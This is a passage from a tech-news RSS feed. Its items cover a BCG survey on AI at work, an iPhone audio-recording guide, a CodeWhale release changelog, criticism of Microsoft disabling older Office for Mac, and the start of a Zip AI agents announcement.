<p>Martin pointed out that CIOs should also pay close attention to cognitive load, especially on technology teams, as those teams are often the heaviest AI users.</p>



<p>“This means they may be among the most exposed to the mental strain that can come with reviewing outputs, managing AI tools, and keeping up with constant change,” he observed. The biggest gains come when technology strategy, workforce strategy, and employee experience move together. If AI remains only an IT program, companies will “undercapture” the value.</p>



<h2 class="wp-block-heading">New expectations</h2>



<p>The abundance of AI activity is also having another effect, in that 60% of respondents say the bar for work that counts as ‘good enough’ is now higher.</p>



<p>That, said Martin, is because AI is changing expectations. “If a tool can produce a first draft, summarize research, generate options, or automate a routine task, then ‘good enough’ moves up the value chain,” he said. “People are being asked to spend less time producing basic output and more time exercising judgment like checking quality, improving the answer, making decisions, and applying context.” </p>



<p>While that can be a good thing, he said, because it can make work more interesting and more valuable, “it also explains why employees are feeling more mental strain. The work that remains is often more complex. Leaders need to recognize that AI does not just make people faster, it changes what excellence looks like. That means companies need to update training, performance expectations, and management support accordingly.”</p>



<p></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[AI saves workers a day a week, but they don’t know what to do with it]]></title>
<description><![CDATA[A report released Wednesday by Boston Consulting Group (BCG) indicates that many organizations are having difficulty converting efficiency gains that are AI-driven into any sort of measurable value.



The fourth edition of the consultancy’s annual Global AI at Work Survey reveals 42% of frontlin...]]></description>
<link>https://tsecurity.de/de/3571380/it-nachrichten/ai-saves-workers-a-day-a-week-but-they-dont-know-what-to-do-with-it/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3571380/it-nachrichten/ai-saves-workers-a-day-a-week-but-they-dont-know-what-to-do-with-it/</guid>
<pubDate>Thu, 04 Jun 2026 06:01:24 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>A report released Wednesday by Boston Consulting Group (BCG) indicates that many organizations are having difficulty converting efficiency gains that are AI-driven into any sort of measurable value.</p>



<p>The fourth edition of the consultancy’s annual Global AI at Work Survey reveals 42% of frontline employees who use AI on a regular basis save upwards of a full day each week; however, 66% are not given guidance on what to do with time they save, and “more than half don’t redirect it to strategic work.”</p>



<p>The <a href="https://www.bcg.com/publications/2026/ai-at-work-why-strategy-matters-more-than-tools" target="_blank" rel="noreferrer noopener">report</a>, <em>AI at Work: Strategy Matters More Than Tools</em>, is based on a global survey of 11,749 employees in 14 markets, from industries ranging from financial services to the healthcare sector.</p>



<p><a href="https://www.bcg.com/about/people/experts/david-martin" target="_blank" rel="noreferrer noopener">David Martin</a>, global leader of people and organization work at BCG, and the report’s lead author, said via email that the number of employees lacking the required guidance is surprising, “but it also tracks with what we see in many AI transformations. Companies have moved quickly to give people tools, but many have not yet redesigned the work around those tools.”</p>



<p>Saved time, he added, does not automatically become value. If a frontline employee saves a few hours a week, but has no direction on whether to use that time for customer service, quality improvement, innovation, or faster execution, “that value can simply leak out of the organization”</p>



<p>The fix is for leaders to change the scoreboard, Martin said: “Don’t just measure AI adoption or hours saved. Decide where that time should go, measure whether it is being reinvested, and give managers clear guidance on how to help teams use it. This is where AI transformation becomes a management challenge, not just a technology rollout.”</p>



<p>In fact, said <a href="https://www.bcg.com/about/people/experts/vinciane-beauchene" target="_blank" rel="noreferrer noopener">Vinciane Beauchene,</a> a managing director and partner at BCG and one of the report’s five co-authors, “the first wave of AI focused on individual productivity. The coming wave will need to transform collective work.”</p>



<p>“Everyone is talking about AI replacing work,” she said, “but it is in fact really about rethinking the human value-add inside.”</p>



<h2 class="wp-block-heading">A managerial revolution underway</h2>



<p>According to Beauchene, “this is the role of leaders. Our survey reveals a true managerial revolution in the age of AI; 65% of managers and leaders now believe agents will take over at least half of their job in the next three years, and frontline workers see their jobs evolving towards more managing and directing AI.”</p>



<p>A BCG <a href="https://www.bcg.com/press/3june2026-ai-reshaping-jobs-faster-than-companies-reshaping-work" target="_blank" rel="noreferrer noopener">release</a> stated that the survey also highlights the continued emergence and maturity of AI agents, with 30% of respondents saying that agents are already integrated into workflows, more than double the number from last year’s report (13%).</p>



<p>Other key findings revealed that AI adoption among frontline workers has surged, with 74% saying they now use it daily or a few times a week, which is up 23 percentage points from a year ago. In addition, six out of 10 people believe that, within the next three years, AI agents could do at least half of their jobs.</p>



<p>And a survey <a href="https://web-assets.bcg.com/eb/92/4b39b729403fb6fcae4ff974b234/ai-at-work-slideshow-jun-2026-1.pdf" target="_blank" rel="noreferrer noopener">slideshow</a> released by the company pointed out, “the AI ‘honeymoon’ won’t last unless leaders bring strategic clarity driving sustained impact AI’s novelty and cognitive stretch fuel enjoyment early on. But sustained joy comes from strategic clarity. Employees thrive when the direction is real and the message reaches them with strong CEO involvement.”</p>



<h2 class="wp-block-heading">Strategic clarity is a key differentiator</h2>



<p>The report suggests that CEOs take a holistic approach to AI transformations by focusing on business outcomes as opposed to AI usage, investing in “redesigning work end-to-end, not in more tools,” placing people at the heart of that redesign, and governing AI not as a one-off program, but as a moving target.</p>



<p>Overall, BCG says that strategic clarity, “more broadly emerges from the survey as the most crucial differentiator in sustaining AI’s impact over time as organizations are moving past simply implementing AI tools in use case deployment initiatives.”</p>



<p>Increasingly, it adds, “the focus is shifting to redesigning end-to-end workﬂows and processes to reimagine functions, as well as to building and innovating new business models and products to drive growth, which have nearly doubled year-over-year.”</p>



<p>Global leader of BCG’s tech build and design unit BCG X <a href="https://www.bcg.com/about/people/experts/sylvain-duranton" target="_blank" rel="noreferrer noopener">Sylvain Duranton</a>, also a report co-author, added, “employees don’t push back on AI intensity; they thrive when the strategy is clear, the direction is real, and the message reaches them.”</p>



<p>He added, “Business value and employee enjoyment aren’t trade-offs. The organizations capturing the greatest business value are the same ones where employees enjoy work the most.”</p>



<p>Despite the opportunity, the report notes that only one-third of frontline employees say that leadership’s communications about AI are clear, and only 28% “see a strong connection between what leaders say and what the organization actually does.”</p>



<p>However, Martin said, management can’t deal with this situation on its own. “CIOs have a critical role, but this is not a problem they can solve alone, and I would not frame it as something IT created by itself,” he noted.</p>



<p>Many organizations, he said, “started with the natural first step of getting tools into people’s hands safely and at scale. That was necessary, but it is not sufficient.”</p>



<p>The next phase “has to be much more cross-functional,” he said. “CIOs should help set the technology foundation, governance, data model, and measurement systems, but they also have an important role in creating strategic clarity. Employees need to understand why the organization is using AI, where it is meant to create value, and how it should change the work.”</p>



<p>Martin pointed out that CIOs should also pay close attention to cognitive load, especially on technology teams, as those teams are often the heaviest AI users.</p>



<p>“This means they may be among the most exposed to the mental strain that can come with reviewing outputs, managing AI tools, and keeping up with constant change,” he observed. The biggest gains come when technology strategy, workforce strategy, and employee experience move together. If AI remains only an IT program, companies will “undercapture” the value.</p>



<h2 class="wp-block-heading">New expectations</h2>



<p>The abundance of AI activity is also having another effect, in that 60% of respondents say the bar for work that counts as ‘good enough’ is now higher.</p>



<p>That, said Martin, is because AI is changing expectations. “If a tool can produce a first draft, summarize research, generate options, or automate a routine task, then ‘good enough’ moves up the value chain,” he said. “People are being asked to spend less time producing basic output and more time exercising judgment like checking quality, improving the answer, making decisions, and applying context.” </p>



<p>While that can be a good thing, he said, because it can make work more interesting and more valuable, “it also explains why employees are feeling more mental strain. The work that remains is often more complex. Leaders need to recognize that AI does not just make people faster, it changes what excellence looks like. That means companies need to update training, performance expectations, and management support accordingly.”</p>



<p><em>This article originally appeared on <a href="https://www.cio.com/article/4181057/ai-saves-workers-a-day-a-week-but-they-dont-know-what-to-do-with-it.html" target="_blank">CIO.com</a>.</em></p>



<p></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[How to Record on iPhone: Complete Guide to Recording Audio]]></title>
<description><![CDATA[Need to record a lecture, meeting, interview, voice note, or a quick idea on your iPhone? The good news is that every iPhone comes with a built-in audio recorder called Voice Memos, and it takes only a few seconds to start recording.



Over the years, Apple has improved Voice Memos with better e...]]></description>
<link>https://tsecurity.de/de/3568895/ios-mac-os/how-to-record-on-iphone-complete-guide-to-recording-audio/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3568895/ios-mac-os/how-to-record-on-iphone-complete-guide-to-recording-audio/</guid>
<pubDate>Wed, 03 Jun 2026 10:53:57 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Need to record a lecture, meeting, interview, voice note, or a quick idea on your iPhone? The good news is that every iPhone comes with a built-in audio recorder called Voice Memos, and it takes only a few seconds to start recording.



Over the years, Apple has improved Voice Memos with better editing tools, background noise reduction, audio sharing options, transcription support, and advanced recording modes on newer iPhone models. Whether you're using a recent iPhone or an older model, this guide covers everything you need to know about recording audio on iPhone.



Table of contentsMethod 1: Record Audio Using the Voice Memos AppMethod 2: Pause and Resume a RecordingMethod 3: Edit and Trim Your RecordingMethod 4: Share a RecordingMethod 5: Improve Recording Quality on iPhoneUse Voice IsolationChange Recording ModeMethod 6: Start Recording Quickly With the Action ButtonTips for Better Audio RecordingsFAQsSummaryConclusion



Method 1: Record Audio Using the Voice Memos App



The easiest way to record audio on an iPhone is with the built-in Voice Memos app. It is free, pre-installed, and designed specifically for recording voice and sound.




Open the Voice Memos app.



Tap the red Record button at the bottom of the screen.



Speak into the iPhone microphone or place the phone near the sound source.



Watch the waveform to confirm audio is being recorded.



Tap the Stop button when finished.



Your recording will be saved automatically.



Tap the recording name to rename it if needed.




Method 2: Pause and Resume a Recording



You don't have to create multiple recordings if you need a short break.



Voice Memos lets you pause and continue recording within the same file. This is useful during long meetings or presentations.




Start recording in Voice Memos.



Swipe up on the recording panel to reveal more controls.



Tap Pause.



When ready, tap Resume.



Continue recording.



Tap Done when finished.








Method 3: Edit and Trim Your Recording



If your recording contains unnecessary audio at the beginning or end, you can trim it directly in Voice Memos.




Open the Voice Memos app.



Select the recording you want to edit.



Tap the More menu.



Choose Edit Recording.



Tap the Trim tool.



Drag the yellow handles to select the section you want to keep.



Tap Trim.



Save the changes.




Method 4: Share a Recording



Once you've recorded audio, you can quickly send it to someone else or save it to cloud storage.




Open the recording in Voice Memos.



Tap the More menu.



Select Share.



Choose one of the available options:

Messages



Mail



AirDrop



Files



iCloud Drive



Third-party apps





Send or save the recording.








Method 5: Improve Recording Quality on iPhone



Apple has added several features that can make recordings sound much better, especially on newer iPhones.



Use Voice Isolation



Voice Isolation helps reduce background noise and makes speech clearer.




Open Voice Memos.



Open Control Center while recording.



Tap the audio controls at the top.



Select Voice Isolation.




Change Recording Mode



Newer iPhones support multiple recording formats.




Open Settings.



Tap Apps &gt; Voice Memos.



Select Recording Mode.



Choose:

Mono



Stereo



Spatial Audio (supported models only)










Method 6: Start Recording Quickly With the Action Button



If you have an iPhone with an Action Button, you can assign it to Voice Memos and start recording instantly without opening the app.




Open Settings.



Tap Action Button.



Swipe until you find Voice Memo.



Exit Settings.



Press and hold the Action Button to start recording.



Press it again to stop.








Tips for Better Audio Recordings




Record in a quiet room whenever possible.



Keep the microphone pointed toward the speaker.



Hold the phone about 6 to 12 inches away from your mouth.



Use wired or wireless microphones for professional-quality audio.



Rename recordings immediately after creating them.



Enable iCloud sync to back up important recordings.



Check available storage before recording long sessions.




FAQs



Where is the Voice Memos app on iPhone? You'll usually find it inside the Utilities folder. You can also swipe down on the Home Screen and search for "Voice Memos."  Is there a recording time limit on iPhone? No. Voice Memos can record for hours as long as your iPhone has enough available storage space.  Can I use other apps while recording? Yes. Voice Memos can continue recording while you use another app, provided the other app doesn't start playing audio.  Can I record phone calls with Voice Memos? No. Voice Memos cannot directly record phone calls. Recording calls requires separate features or apps and may be subject to local laws.  Can I edit recordings after saving them? Yes. Voice Memos allows you to trim, replace, and edit recordings after they are saved.  Do recordings sync across Apple devices? Yes. When Voice Memos is enabled in iCloud, recordings can sync between your iPhone, iPad, and Mac.  



Summary




Open the Voice Memos app.



Tap the Record button.



Speak or capture the audio you need.



Tap Stop when finished.



Rename the recording for easy access.



Edit or trim the audio if necessary.



Share the recording through Messages, Mail, AirDrop, or Files.



Use Voice Isolation and advanced recording modes for better sound quality.



Enable iCloud sync to keep recordings backed up.



Use the Action Button on supported iPhones for one-tap recording.




Conclusion



Recording audio on an iPhone is one of the simplest tasks you can perform, yet it's also one of the most useful. The built-in Voice Memos app can handle everything from quick reminders and classroom lectures to interviews and creative projects. With features like trimming, sharing, Voice Isolation, iCloud syncing, and advanced recording modes, it has evolved into a surprisingly capable audio recorder.



Once you become familiar with Voice Memos, you'll always have a reliable way to capture important conversations, ideas, and moments wherever you are.]]></content:encoded>
</item>
<item>
<title><![CDATA[v0.8.51: Arcee provider, cycle removal, compaction improvements, and community harvest]]></title>
<description><![CDATA[[0.8.51] - 2026-06-02
Added

Arcee AI as a direct provider. New [providers.arcee] config block and
ARCEE_API_KEY / ARCEE_BASE_URL / ARCEE_MODEL environment variables,
wired through CLI auth (codewhale auth set --provider arcee), the TUI
provider picker, and the model registry. The default direct-...]]></description>
<link>https://tsecurity.de/de/3568144/downloads/v0851-arcee-provider-cycle-removal-compaction-improvements-and-community-harvest/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3568144/downloads/v0851-arcee-provider-cycle-removal-compaction-improvements-and-community-harvest/</guid>
<pubDate>Wed, 03 Jun 2026 05:46:18 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>[0.8.51] - 2026-06-02</h2>
<h3>Added</h3>
<ul>
<li><strong>Arcee AI as a direct provider.</strong> New <code>[providers.arcee]</code> config block and<br>
<code>ARCEE_API_KEY</code> / <code>ARCEE_BASE_URL</code> / <code>ARCEE_MODEL</code> environment variables,<br>
wired through CLI auth (<code>codewhale auth set --provider arcee</code>), the TUI<br>
provider picker, and the model registry. The default direct-API model is<br>
<code>trinity-large-thinking</code> (reasoning-capable, 262K context and 262K max<br>
output); <code>trinity-large-preview</code> (262K context, non-reasoning) and<br>
<code>trinity-mini</code> (128K context) are also selectable. OpenRouter's<br>
<code>arcee-ai/trinity-large-thinking</code> route remains separate.</li>
<li><strong>Arcee Cloudflare-WAF compatibility.</strong> The opening turn to the Arcee gateway<br>
uses a benign read-only tool surface (<code>read_file</code>, <code>list_dir</code>, <code>file_search</code>,<br>
<code>grep_files</code>, <code>git_status</code>, <code>git_diff</code>, <code>checklist_write</code>, <code>update_plan</code>) and<br>
splits example payloads such as <code>python -c …</code> out of the system prompt, so the<br>
WAF does not reject the first request; the full tool catalog stays reachable<br>
through tool-search. <code>trinity-large-thinking</code>'s <code>reasoning_content</code> is<br>
recognized and replayed on tool-call turns.</li>
<li><strong>Expanded model catalog.</strong> Added context-window, max-output, and<br>
reasoning-capability metadata for additional model IDs, including<br>
<code>qwen/qwen3.6-flash</code>, <code>qwen/qwen3.6-plus</code>, <code>qwen/qwen3.6-max-preview</code>, and<br>
Xiaomi MiMo v2.5 chat/ASR/TTS variants; <code>trinity-large-preview</code>'s context<br>
window was corrected to 262K.</li>
<li><strong>Provider-aware model picker.</strong> The picker groups models by provider, shows<br>
per-model hints, and remembers a saved model per provider.</li>
</ul>
<h3>Changed</h3>
<ul>
<li><strong>Auto-compaction is now percentage- and model-aware.</strong> The per-model<br>
threshold helper is <code>compaction_threshold_for_model_at_percent(model, percent)</code> (replacing the effort-based variant), and the default<br>
<code>auto_compact_threshold_percent</code> is 80%. Auto-compaction defaults on for<br>
models with a context window of 256K or smaller and stays opt-in for 1M-token<br>
models (e.g. DeepSeek V4) to protect prefix-cache economics, unless the user<br>
has explicitly set <code>auto_compact</code>.</li>
<li><strong>Clearer provider/gateway errors.</strong> HTTP error bodies are sanitized before<br>
display — HTML interstitials and Cloudflare "Access Denied" pages collapse to<br>
a one-line reason (with the ray/error ID) instead of dumping raw markup into<br>
the transcript — and 403s are split into authentication vs. authorization<br>
(gateway/WAF block) categories.</li>
<li>The invalid-model error now names the active provider and lists Arcee among<br>
the options.</li>
</ul>
<h3>Removed</h3>
<ul>
<li><strong>The session "cycle" / checkpoint-restart system.</strong> Removed the <code>/cycles</code>,<br>
<code>/cycle &lt;n&gt;</code>, and <code>/recall</code> commands, the <code>recall_archive</code> tool, the<br>
cycle-handoff briefing prompt, the sidebar "cycles" lines, and the<br>
<code>cycle_manager</code> engine plumbing (<code>EngineConfig.cycle</code>, <code>Event::CycleAdvanced</code>,<br>
seam-manager cycle thresholds and flash briefings). Long sessions no longer<br>
auto-reset their context at a fixed token boundary — reclaim budget with<br>
<code>/compact</code> or model-aware auto-compaction instead. Existing on-disk cycle<br>
archives are left untouched but are no longer read or written.</li>
</ul>
<h3>Fixed</h3>
<ul>
<li>Assistant turns no longer leave an orphaned role glyph (the stray "blue dot")<br>
when a turn streams only whitespace between reasoning and a tool call.</li>
<li>Scrolling the mouse wheel over the right-hand sidebar no longer leaks into the<br>
transcript scroll.</li>
<li>The sidebar hover tooltip now appears only for truncated lines, sits below the<br>
cursor, and uses a neutral surface color instead of the warning-orange<br>
highlight that overlapped neighbouring rows.</li>
<li>Corrected the README's description of the Constitution (Article VII is the<br>
hierarchy itself; Article II's truth duty overrides even a user request) to<br>
match <code>prompts/base.md</code>.</li>
<li>Repaired release-blocking unit and integration tests left failing by the<br>
cycle-removal and compaction-threshold refactors (relay instruction,<br>
model-reject message, compaction budget, mock-LLM threshold helper).</li>
<li>Fixed DEC private-mode CSI fragment leakage into composer text after<br>
terminal resets, restoring clean prompt editing (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4572681086" data-permission-text="Title is private" data-url="https://github.com/Hmbown/CodeWhale/issues/2592" data-hovercard-type="issue" data-hovercard-url="/Hmbown/CodeWhale/issues/2592/hovercard" href="https://github.com/Hmbown/CodeWhale/issues/2592">#2592</a>).</li>
<li>The engine now recovers from turn-level panics instead of killing the<br>
main event loop, keeping the session alive through transient failures<br>
(<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4569795683" data-permission-text="Title is private" data-url="https://github.com/Hmbown/CodeWhale/issues/2583" data-hovercard-type="issue" data-hovercard-url="/Hmbown/CodeWhale/issues/2583/hovercard" href="https://github.com/Hmbown/CodeWhale/issues/2583">#2583</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4411307778" data-permission-text="Title is private" data-url="https://github.com/Hmbown/CodeWhale/issues/1269" data-hovercard-type="issue" data-hovercard-url="/Hmbown/CodeWhale/issues/1269/hovercard" href="https://github.com/Hmbown/CodeWhale/issues/1269">#1269</a>).</li>
<li>Deeply nested files are now discoverable via @-mention and Ctrl+P file<br>
picker; the default walk depth was relaxed to handle monorepo layouts (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4561158075" data-permission-text="Title is private" data-url="https://github.com/Hmbown/CodeWhale/issues/2488" data-hovercard-type="issue" data-hovercard-url="/Hmbown/CodeWhale/issues/2488/hovercard" href="https://github.com/Hmbown/CodeWhale/issues/2488">#2488</a>).</li>
<li>Command-palette selection stays visible when scrolling through long lists<br>
instead of scrolling off-screen (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4572011171" data-permission-text="Title is private" data-url="https://github.com/Hmbown/CodeWhale/issues/2590" data-hovercard-type="issue" data-hovercard-url="/Hmbown/CodeWhale/issues/2590/hovercard" href="https://github.com/Hmbown/CodeWhale/issues/2590">#2590</a>).</li>
<li>exec_shell child processes now inherit .NET/NuGet and Windows app-data<br>
environment variables, fixing toolchain resolution on Windows (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4491572099" data-permission-text="Title is private" data-url="https://github.com/Hmbown/CodeWhale/issues/1857" data-hovercard-type="issue" data-hovercard-url="/Hmbown/CodeWhale/issues/1857/hovercard" href="https://github.com/Hmbown/CodeWhale/issues/1857">#1857</a>).</li>
<li>A warning is emitted when shell/sandbox config keys are nested under<br>
unknown top-level sections instead of being silently ignored (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4571535253" data-permission-text="Title is private" data-url="https://github.com/Hmbown/CodeWhale/issues/2589" data-hovercard-type="issue" data-hovercard-url="/Hmbown/CodeWhale/issues/2589/hovercard" href="https://github.com/Hmbown/CodeWhale/issues/2589">#2589</a>).</li>
<li>Diff-render now preserves leading whitespace in patch content lines,<br>
fixing an extra-space regression in PR previews (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4572537156" data-permission-text="Title is private" data-url="https://github.com/Hmbown/CodeWhale/issues/2591" data-hovercard-type="pull_request" data-hovercard-url="/Hmbown/CodeWhale/pull/2591/hovercard" href="https://github.com/Hmbown/CodeWhale/pull/2591">#2591</a>). Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/zlh124/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/zlh124">@zlh124</a>.</li>
<li>Model selection from the /model command now persists per-provider across<br>
restarts, with a warning when persistence fails.</li>
</ul>
<h3>Community</h3>
<p>Thanks to <strong><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/zlh124/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/zlh124">@zlh124</a></strong> (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4572537156" data-permission-text="Title is private" data-url="https://github.com/Hmbown/CodeWhale/issues/2591" data-hovercard-type="pull_request" data-hovercard-url="/Hmbown/CodeWhale/pull/2591/hovercard" href="https://github.com/Hmbown/CodeWhale/pull/2591">#2591</a>) and <strong><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/reidliu41/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/reidliu41">@reidliu41</a></strong> (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4576468131" data-permission-text="Title is private" data-url="https://github.com/Hmbown/CodeWhale/issues/2601" data-hovercard-type="pull_request" data-hovercard-url="/Hmbown/CodeWhale/pull/2601/hovercard" href="https://github.com/Hmbown/CodeWhale/pull/2601">#2601</a>) for the fixes<br>
harvested into this release. Thanks also to <strong><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/idling11/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/idling11">@idling11</a></strong> (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4576550740" data-permission-text="Title is private" data-url="https://github.com/Hmbown/CodeWhale/issues/2602" data-hovercard-type="issue" data-hovercard-url="/Hmbown/CodeWhale/issues/2602/hovercard" href="https://github.com/Hmbown/CodeWhale/issues/2602">#2602</a>),<br>
<strong><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/gordonlu/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/gordonlu">@gordonlu</a></strong> (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4570405138" data-permission-text="Title is private" data-url="https://github.com/Hmbown/CodeWhale/issues/2585" data-hovercard-type="pull_request" data-hovercard-url="/Hmbown/CodeWhale/pull/2585/hovercard" href="https://github.com/Hmbown/CodeWhale/pull/2585">#2585</a>), <strong><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/cyq1017/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/cyq1017">@cyq1017</a></strong> (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4572922314" data-permission-text="Title is private" data-url="https://github.com/Hmbown/CodeWhale/issues/2593" data-hovercard-type="pull_request" data-hovercard-url="/Hmbown/CodeWhale/pull/2593/hovercard" href="https://github.com/Hmbown/CodeWhale/pull/2593">#2593</a>), <strong><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/xyuai/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/xyuai">@xyuai</a></strong> (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4571364661" data-permission-text="Title is private" data-url="https://github.com/Hmbown/CodeWhale/issues/2587" data-hovercard-type="pull_request" data-hovercard-url="/Hmbown/CodeWhale/pull/2587/hovercard" href="https://github.com/Hmbown/CodeWhale/pull/2587">#2587</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4569892944" data-permission-text="Title is private" data-url="https://github.com/Hmbown/CodeWhale/issues/2584" data-hovercard-type="issue" data-hovercard-url="/Hmbown/CodeWhale/issues/2584/hovercard" href="https://github.com/Hmbown/CodeWhale/issues/2584">#2584</a>),<br>
and <strong><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/IcedOranges/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/IcedOranges">@IcedOranges</a></strong> (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4569892944" data-permission-text="Title is private" data-url="https://github.com/Hmbown/CodeWhale/issues/2584" data-hovercard-type="issue" data-hovercard-url="/Hmbown/CodeWhale/issues/2584/hovercard" href="https://github.com/Hmbown/CodeWhale/issues/2584">#2584</a>) for reports, drafts, and investigations<br>
that shaped this release cycle.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Microsoft Deliberately Bricking All Office For Mac 2019/2021 Installations]]></title>
<description><![CDATA[Microsoft Office 2019 and 2021 for Mac will reportedly drop into "reduced functionality mode" on July 13, 2026, when a license-validation certificate expires, leaving perpetually licensed apps able to open files but not edit or save them. Slashdot reader joshuark shares a report from OSnews: "Mic...]]></description>
<link>https://tsecurity.de/de/3567518/it-security-nachrichten/microsoft-deliberately-bricking-all-office-for-mac-20192021-installations/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3567518/it-security-nachrichten/microsoft-deliberately-bricking-all-office-for-mac-20192021-installations/</guid>
<pubDate>Tue, 02 Jun 2026 22:08:29 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Microsoft Office 2019 and 2021 for Mac will reportedly drop into "reduced functionality mode" on July 13, 2026, when a license-validation certificate expires, leaving perpetually licensed apps able to open files but not edit or save them. Slashdot reader joshuark shares a report from OSnews: "Microsoft Office 2019 and 2021 for Mac view-only conversion (2026) is a scheduled remote degradation of perpetually-licensed Microsoft Office software for macOS and iOS, set for July 13, 2026 when a license-validation certificate used by the Office apps expires," reports the Consumer Rights Wiki. "After Office 2019 for Mac reached end of support in October 2023, Microsoft assured customers their installed apps would 'continue to function.' The July 13, 2026 conversion instead drops the apps into a Microsoft-defined 'reduced functionality mode,' in which files can be opened and viewed but not edited or saved. By May 30, 2026, the original 2023 end-of-support page had been re-dated and rewritten on Microsoft's site; the 'continue to function' clause was removed."
 
Microsoft's advice to the users they're stealing from is to keep using the applications as mere viewers, switch to the free Office 365 web applications, pay for a 365 subscription, or buy a brand new regular copy of Office 2024. None of these make any sense, and clearly, all of this should be illegal, but it's not because the software industry is a clown show.<p></p><div class="share_submission">
<a class="slashpop" href="http://twitter.com/home?status=Microsoft+Deliberately+Bricking+All+Office+For+Mac+2019%2F2021+Installations%3A+https%3A%2F%2Ftech.slashdot.org%2Fstory%2F26%2F06%2F02%2F1725210%2F%3Futm_source%3Dtwitter%26utm_medium%3Dtwitter"><img src="https://a.fsdn.com/sd/twitter_icon_large.png"></a>
<a class="slashpop" href="http://www.facebook.com/sharer.php?u=https%3A%2F%2Ftech.slashdot.org%2Fstory%2F26%2F06%2F02%2F1725210%2Fmicrosoft-deliberately-bricking-all-office-for-mac-20192021-installations%3Futm_source%3Dslashdot%26utm_medium%3Dfacebook"><img src="https://a.fsdn.com/sd/facebook_icon_large.png"></a>



</div><p><a href="https://tech.slashdot.org/story/26/06/02/1725210/microsoft-deliberately-bricking-all-office-for-mac-20192021-installations?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Zip’s new AI agents want to stop your finance team from uploading contracts into personal ChatGPT accounts]]></title>
<description><![CDATA[Zip, the AI procurement platform valued at $2.2 billion, announced two products on Monday that mark a turning point in its evolution from procurement software to autonomous AI platform: a suite of five AI "Superagents" that can review contracts, code invoices, and negotiate with vendors inside Zi...]]></description>
<link>https://tsecurity.de/de/3566319/it-nachrichten/zips-new-ai-agents-want-to-stop-your-finance-team-from-uploading-contracts-into-personal-chatgpt-accounts/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3566319/it-nachrichten/zips-new-ai-agents-want-to-stop-your-finance-team-from-uploading-contracts-into-personal-chatgpt-accounts/</guid>
<pubDate>Tue, 02 Jun 2026 15:47:53 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><a href="https://zip.com/">Zip</a>, the AI procurement platform valued at <a href="https://zip.com/blog/series-d">$2.2 billion</a>, announced two products on Monday that mark a turning point in its evolution from procurement software to autonomous AI platform: a suite of five AI "Superagents" that can review contracts, code invoices, and negotiate with vendors inside Zip's governance framework, and a procurement-native implementation of the Model Context Protocol (MCP) that pipes Zip's data directly into AI assistants like Claude and ChatGPT — without sacrificing audit trails or compliance controls.</p><p>The announcements, unveiled at <a href="https://events.ziphq.com/ai-summit/?utm_source=linkedin&amp;utm_medium=social">Zip's AI Summit in New York</a> with speakers from <a href="http://anthropic.com/">Anthropic</a>, <a href="https://openai.com/">OpenAI</a>, <a href="https://www.datadoghq.com/">Datadog</a>, and <a href="https://www.humana.com/">Humana</a>, arrive at a moment when the procurement technology sector has become one of the fiercest battlegrounds in enterprise AI. SAP unveiled its "Autonomous Enterprise" vision at Sapphire 2026 just weeks ago, introducing more than 50 domain-specific Joule 